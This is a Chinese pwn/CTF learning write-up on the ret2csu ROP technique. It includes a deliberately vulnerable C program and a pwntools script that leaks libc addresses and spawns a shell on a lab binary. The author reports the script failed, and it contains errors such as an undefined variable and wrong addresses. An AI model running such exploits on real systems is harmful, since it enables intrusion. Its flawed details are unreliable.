__libc_scu_init 这个函数是用来对libc进行初始化操作的
在64位的程序中,前六个参数是通过寄存器传递的,之后再多的才是分布在栈上
如果程序比较小,很难找到需要的可用的gadget
但是如果利用这个函数,可以利用栈溢出构造栈上数据控制rbx,rbp,r12,r13,r14,r15寄存器的值
前六个参数依次保存在
RDI (可控的其实只是RDI的第32位,就是EDI)
RSI
RDX
RCX
R8
R9
r13 = rdx =第三个参数
r14 = rsi = 第二个参数
r15 = edi = 第一个参数
r12 = call address
以http://www.vuln.cn/6644中的例子level5,例子都在https://github.com/zhengmin1989/ROP_STEP_BY_STEP可以下载
例子的源码:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 512);
}
int main(int argc, char** argv) {
write(STDOUT_FILENO, "Hello, World\n", 13);
vulnerable_function();
}
checksec查看
objdump -d level5 查看一下__libc_scu_init的结构:
从4005f0处就是我们要利用参数传递和函数调用,为了要继续执行用的到的代码,要构造,rbx和rbp相等
add 会给rbx加一,然后因cmp 比较rbp和rbx, 如果相等zf 设置为1,然后jne是zf=0的时候实现跳转,所以只要rbx和rbp相等,就可以继续向下执行
所以通常把rbx设为0,rbp设为1
然后就可以传参数啦,下面先构造一下利用函数:
def csu(rbx,rbp,r12,r13,r14,r15,ret):
payload = 'a'*136+p64(csu_end)+p64(0)+p64(rbx)+p64(rbp)+p64(r12)+p64(r13)+p64(r14)+p64(r15)+p64(csu_start)
#填充 +400606 + junk + 0 + 1 +函数地址+ 第三个参数+第二个参数+第一个参数+4005f0
payload += 'b'*56+p64(ret)
sh.send(payload)
sleep(1)
这个例子中400606处,给各寄存器储值,400f50处传递参数,调用函数,最后为了后续继续溢出要使程序返回main,所以要继续覆盖(前面这个payload执行完后,程序会跳转回4005f0处,所以我们需要覆盖之前的只到call之前,覆盖需要56(7*8)个字符)然后设置返回地址为main
脚本如下:
from pwn import *
from LibcSearcher import LibcSearcher
sh = remote('192.168.1.122',2333)
elf = ELF('level5')
write_got = elf.got['write']
read_got = elf.got['read']
main_addr = elf.symbols['main']
bss_addr = elf.bss()
csu_start = 0x00000000004005f0
csu_end = 0x0000000000400606
print'[+]---------------get address------------------'
def csu(rbx,rbp,r12,r13,r14,r15,ret):
payload = 'a'*136+p64(csu_end)+p64(0)+p64(rbx)+p64(rbp)+p64(r12)+p64(r13)+p64(r14)+p64(r15)+p64(csu_start)
payload += 'b'*56+p64(ret)
sh.send(payload)
sleep(1)
sh.recvuntil('Hello, World\n')
csu(0, 1, write_got, 8, write_got, 1, main_addr)
write_addr = u64(sh.recv(8))
libc = LibcSearcher('write',write_addr)
base_addr = write_addr - libc.dump('write')
sys_addr = base_addr+libc.dump('system')
sh.recvuntil('Hello, World\n')
csu(0, 1, read_got, 16, bss_base, 0, main_addr)
sh.send(p64(sys_addr) + '/bin/sh\x00')
sh.recvuntil('Hello, World\n')
csu(0, 1, bss_base, 0, 0, bss_base + 8, main_addr)
sh.interactive()
调了两天的脚本,生无可恋,我可能是个bug,用libcsearcher找不到对应版本的libc,大佬又没给例子中的libc.so 现在也没找到什么天法,对菜鸡真的不友好 pwn再见(╥╯^╰╥)